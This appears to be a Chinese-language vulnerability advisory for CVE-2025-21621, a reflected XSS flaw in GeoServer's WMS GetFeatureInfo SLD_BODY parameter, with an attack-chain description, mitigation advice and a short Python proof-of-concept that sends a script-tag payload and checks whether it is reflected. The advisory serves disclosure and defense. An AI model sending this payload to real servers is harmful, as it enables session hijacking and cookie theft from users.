IPBUF安全漏洞报告
English
CVE-2025-21621 CVSS 6.1 中危

CVE-2025-21621 GeoServer WMS GetFeatureInfo反射型XSS漏洞

披露日期: 2025-11-25

漏洞信息

漏洞编号
CVE-2025-21621
漏洞类型
反射型XSS
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
GeoServer

相关标签

反射型XSSGeoServerWMSGetFeatureInfoSLD_BODY地理空间数据Web安全

漏洞概述

GeoServer是一款开源的地理空间数据服务器,允许用户共享和编辑地理空间数据。该漏洞存在于GeoServer 2.25.0之前的版本中,具体位于WMS(Web Map Service)GetFeatureInfo功能的HTML输出格式处理模块。攻击者可以通过在SLD_BODY参数中注入特制的恶意脚本,当受害者访问包含该恶意参数的请求时,反射型XSS漏洞会被触发,导致攻击者能够在受害者的浏览器上下文中执行任意JavaScript代码。这种攻击可能导致会话劫持、敏感信息窃取、恶意重定向等安全问题。由于该漏洞利用需要用户交互,攻击者通常需要诱导用户点击恶意链接或访问包含恶意内容的页面。

技术细节

GeoServer的WMS GetFeatureInfo功能用于返回地图上特定位置的要素信息。当请求的输出格式为HTML时,系统会将返回的要素信息嵌入到HTML页面中。漏洞产生的原因是在处理SLD_BODY参数时,未对用户输入进行充分的输入验证和输出编码。攻击者可以通过构造包含JavaScript脚本的SLD_BODY参数值,将其反射到响应HTML中。当用户通过浏览器访问这个特制的请求时,浏览器会将其解析为可执行脚本,从而执行攻击者注入的恶意代码。攻击成功的关键条件包括:1)目标用户需要访问攻击者构造的恶意URL;2)目标服务器返回的HTML响应未正确转义特殊字符;3)浏览器的同源策略未被严格实施。该漏洞属于经典的反射型XSS,与存储型XSS不同,恶意脚本不会持久化在服务器端,而是通过URL参数即时反射。

攻击链分析

STEP 1
步骤1
攻击者创建包含恶意JavaScript代码的SLD_BODY参数,构造反射型XSS payload
STEP 2
步骤2
攻击者将恶意URL通过钓鱼邮件、社交工程或恶意网站诱导受害者点击
STEP 3
步骤3
受害者浏览器向GeoServer服务器发送包含恶意参数的WMS GetFeatureInfo请求
STEP 4
步骤4
GeoServer服务器未对SLD_BODY参数进行输入验证和输出编码,直接将恶意代码反射到HTML响应中
STEP 5
步骤5
受害者的浏览器接收到响应,将反射的<script>标签解析为可执行脚本并执行
STEP 6
步骤6
恶意JavaScript代码在受害者浏览器上下文中执行,可能窃取Cookie、会话令牌或其他敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-21621 PoC - GeoServer Reflected XSS via SLD_BODY parameter # Target: GeoServer < 2.25.0 # Attack Type: Reflected XSS in WMS GetFeatureInfo HTML output TARGET_URL = "http://target-server:8080/geoserver/wms" # Malicious payload with XSS injection xss_payload = "<script>alert(document.cookie)</script>" # Construct the exploit URL with encoded SLD_BODY parameter params = { "service": "WMS", "version": "1.1.0", "request": "GetFeatureInfo", "layers": "workspace:layer_name", "query_layers": "workspace:layer_name", "bbox": "0,0,100,100", "width": "100", "height": "100", "srs": "EPSG:4326", "info_format": "text/html", "x": "50", "y": "50", "SLD_BODY": xss_payload } print("[*] Sending malicious request to target...") print(f"[*] Target: {TARGET_URL}") print(f"[*] Payload: {xss_payload}") try: response = requests.get(TARGET_URL, params=params, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") # Check if payload is reflected in response if xss_payload in response.text: print("[!] VULNERABLE: XSS payload reflected in response") else: print("[-] Not vulnerable or payload not found") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")

影响范围

GeoServer < 2.25.0

防御指南

临时缓解措施
如果无法立即升级,可通过配置Web应用防火墙规则来过滤包含<script>标签和其他XSS特征的请求参数。同时应限制WMS GetFeatureInfo功能的访问权限,要求用户进行身份认证。在生产环境中,建议对所有外部输入实施严格的输入验证,并在输出时对特殊字符进行HTML编码。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表